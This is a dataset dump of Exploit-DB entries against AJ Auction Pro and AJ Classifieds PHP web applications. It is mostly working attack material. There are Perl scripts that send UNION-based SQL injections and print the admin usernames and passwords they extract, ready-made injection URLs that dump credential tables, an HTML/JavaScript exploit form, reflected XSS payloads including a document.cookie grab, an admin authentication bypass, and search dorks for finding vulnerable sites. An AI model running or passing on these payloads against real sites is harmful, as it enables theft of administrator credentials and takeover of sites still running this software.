deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3408
Description: AJ Auction Pro - 'subcat.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-04
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.ajsquare.com
#[Dork       : "/subcat.php?cate_id="
#[$$         : 250.00 USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/subcat.php?cate_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,112,97,115,115,58),password),2%20from%20admin/*&view=list";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /Categories Within turkey:(.*?)turkeypass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /turkeypass:(.*?)<\/b><\/font> <\/td><\/tr>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-04]
Exploit-DB #33147
Description: AJ Auction Pro 3.0 - 'txtkeyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-05
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/35968/info

AJ Auction Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AJ Auction Pro 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?do=search&type=&stime=&txtkeyword=%27%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E%3CMARQUEE+BGCOLOR%3D%22RED%22%3E%3CH1%3EXss%3C%2FH1%3E%3C%2FMARQUEE%3E&id=all&button=Search&select2=all&select3=endsoon
Exploit-DB #7836
Description: AJ Auction Pro OOPD 2.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-20
Author: snakespc

Exploit:
==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            = 
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =      
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +       
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =      
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            = 
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=              	         AJAuctionPro OOPD v2.3 SQL Injection Vulnerability                                      +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =   
                =                                                                                    =
                =                   :::::Mail: snakespc@gmail.com:::::::                             =
                =                                                                                    =                                                                                   =
                =            http://www.ajsquare.com/products/auction/demo.php  "index.php"          =
                =====================================GAZA=============================================

Exploit:
http://localhost/oopd/index.php?do=search&id=-9+UNION SELECT concat(user_name,0x3a,password)+from+admin_users--
********
demo:
http://www.ajauctionpro.com/oopd/index.php?do=search&id=-9+UNION SELECT concat(user_name,0x3a,password)+from+admin_users--
============================================================== ALLAH AKBAR=========================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N:::
ALL www.Snakespc.com/sc >>>> Members 
Str0ke ....Milw0rm
==================================================================GAZA============================================================

# milw0rm.com [2009-01-20]
Exploit-DB #9447
Description: AJ Auction Pro OOPD 2.x - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: NoGe

Exploit:
#!/usr/bin/perl

#********************************************************#
#                                                        #
# [o] AJ Auction Pro OOPD 2.x SQL Injection Exploit      #
#      Software : AJ Auction Pro OOPD 2.x                #
#      Vendor   : http://www.ajsquare.com/               #
#      Author   : NoGe                                   #
#      Contact  : noge[dot]code[at]gmail[dot]com         #
#      Blog     : http://evilc0de.blogspot.com           #
#                                                        #
# [o] Usage                                              #
#      root@noge:~# perl ajpro.pl www.target.com         #
#                                                        #
# [o] Dork                                               #
#      "Powered By AJ Auction Pro"                       #
#                                                        #
# [o] Greetz                                             #
#      MainHack BrotherHood [ http://mainhack.net ]      #
#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang   #
#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke     #
#                                                        #
#********************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/store.php?id=';
my $sql_query = '-null+union+select+1,2,3,4,5,group_concat(0x3a,user_name,0x3a,password,0x3a),7,8,9,10+from+admin--';
print "\n[x]===============================================[x]\n";
print "[x] AJ Auction Pro OOPD 2.x SQL Injection Exploit [x]\n";
print "[x]                [C]oded By NoGe                [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2009-08-18]
Exploit-DB #34642
Description: AJ Auction Pro OOPD 3.0 - 'txtkeyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-06
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43273/info

AJ Auction Pro OOPD is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AJ Auction Pro OOPD 3.0 is vulnerable; other versions may be affected. 

http://www.example.com/ajauctionpro/oopdv3/index.php?do=search&type=&stime=&txtkeyword=%27%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E%3CMARQUEE+BGCOLOR%3D%22RED%22%3E%3CH1%3EXss%3C%2FH1%3E%3C%2FMARQUEE%3E&id=all&button=Search&select2=all&select3=endsoon
Exploit-DB #6561
Description: AJ Auction Pro Platinum - 'seller_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-25
Author: InjEctOr5

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

 Xss /Remote SQL injection

Script : Aj auction platinum2 , last version 
Site    : http://www.ajauctionpro.com
Dork : Powered By AJ Auction
Demo : http://www.ajauctionpro.com/ajauction_platinum2/
[ SQL injection ]
=========================================================================
EXP file: Script path /sellers_othersitem.php?seller_id=

SQL : -1%20union%20select%201,2,3,4,concat(user_name,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20admin--

[Xss]
=========================================================================
EXP : search.php?min_cur=&product="''<?>>""''<script>alert(document.cookie)</script>
=========================================================================
ShoutZ   :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
 

thanx str0ke/*

# milw0rm.com [2008-09-25]
Exploit-DB #6550
Description: AJ Auction Pro Platinum Skin - 'item_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-24
Author: GoLd_M

Exploit:
############################################################################################
## AJ Auction Pro Platinum Skin #2 (detail.php item_id) Remote SQL Injection Vulnerability
## POC :
##       /detail.php?item_id=-1+UNION+SELECT+1,2,3,4,concat(user_name,0x3a,password),
##       6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
##       ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+admin--
## Live Demo :
##    http://www.ajauctionpro.com/ajauction_platinum2/detail.php?item_id=-1+UNION+SELECT+1,2,3,4
##    ,concat(user_name,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19
##    ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42
##    ,43,44,45,46,47,48,49,50,51+from+admin--
############################################################################################

# milw0rm.com [2008-09-24]
Exploit-DB #5867
Description: AJ Auction Web 2.0 - 'cate_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-19
Author: Hussin X

Exploit:
#########################################################
#
#     Auction Web 2.0  SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#            hussin.x[at]hotmail[DoT]com                =
#                                                       =
#=========================================================
#    HomE script : http://www.ajauctionpro.com/ajhome.php
#     
#    Demo : http://www.ajauctionpro.com/auction_web2.0/   
#    
#          DorK :  Powered By AJ Auction Web
#          DorK :  Powered By Auction Web
#     
##########################################################

Exploit:   

http://localhost.com/[PaTs]/category.php?cate_id=-1+union+select+1,concat(user_name,0x3a,password),3,4+from+admin--


Admin login

admin/index.php

################################################################################
#####################################( Greetz )#################################
#                                                                              #
#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-19]
Exploit-DB #31777
Description: AJ Classifieds - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: t0pP8uZz

Exploit:
source: https://www.securityfocus.com/bid/29151/info

AJ Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects AJ Classifieds 2008; other versions may also be vulnerable.

http://www.example.com/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/*
Exploit-DB #35967
Description: AJ Classifieds - 'listingid' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/48702/info

AJ Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/ajclassifieds/classifiedsauto/index.php?do=detaillisting&listingid=77â??a
Exploit-DB #7089
Description: Aj Classifieds - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-11
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	AJ Classifieds Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ AJ Classifieds Craigs | AJ Classifieds Elite ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.ajclassifieds.net ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 10.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[Â»] http://localhost/[path]/admin/home.php
	[Â»] ...
	


===[ LIVE ]===

	[Â»] http://ajclassifieds.net/demo/ajlist-craigs/admin/
	[Â»] http://ajclassifieds.net/demo/ajlist-elite/admin/

	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-11]
Exploit-DB #3410
Description: AJ Classifieds 1.0 - 'postingdetails.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-04
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.ajsquare.com
//'[$$         : 250 USD - 1000 USD
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/postingdetails.php" //File name
   var acik ="?cathead=community&postingid=" // Line x
   var sql="-1%20union%20select%200,0,0,0,1,2,password,4,0,0,0,0,6,5,4,3,2,1%20from%20mysql.user/*" // Mysql Get Password
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-04]
Exploit-DB #5592
Description: AJ Classifieds 2008 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+       AJ Classifieds 2008 (index.php) Remote SQL Injection Vulnerability	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/classifieds/index.php?auc=1
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

AJ Classifieds 2008 (and possibly prior verisons) suffers from a insecure mysql query, This allows the
remote attacker to arbitrary execute mysql code/querys.

the below injection will perform a SELECT query which will display admin credentials in RED text.



SQL Injection:

http://site.com/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/*



NOTE/TIP: 

passwords are in md5 (MD5 Algorithms)
admin login is at "/admin/adminlogin.php"

"magic_quotes_gpc" must be on



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


peace, t0pP8uZz


--==+================================================================================+==--
--==+       AJ Classifieds 2008 (index.php) Remote SQL Injection Vulnerability	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12]